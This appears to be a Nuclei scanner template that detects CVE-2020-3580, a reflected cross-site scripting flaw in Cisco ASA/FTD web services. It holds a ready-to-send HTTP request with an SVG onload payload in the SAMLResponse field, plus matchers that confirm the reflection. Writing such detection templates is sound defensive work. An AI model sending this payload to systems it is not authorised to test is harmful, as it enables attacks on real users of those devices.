Cisco ASA/FTD Software - Cross-Site Scripting

id: CVE-2020-3580

info:
  name: Cisco ASA/FTD Software - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://twitter.com/ptswarm/status/1408050644460650502
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe
    - https://nvd.nist.gov/vuln/detail/CVE-2020-3580
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/r0eXpeR/supplier
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-3580
    cwe-id: CWE-79
    epss-score: 0.93315
    epss-percentile: 0.99818
    cpe: cpe:2.3:o:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: firepower_threat_defense
  tags: cve,cve2020,xss,cisco,kev,vkev,vuln

http:
  - raw:
      - |
        POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(/{{randstr}}/)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100de6c8ed3df29d182c88de6baf02a12ceeebe919ee2752abd4ee14c5b785013f7022100933f2dfb778efe6cde8d0acd81f060231e6480280e20e065c6682d2527f1c592:922c64590222798bb761d5b6d8e72950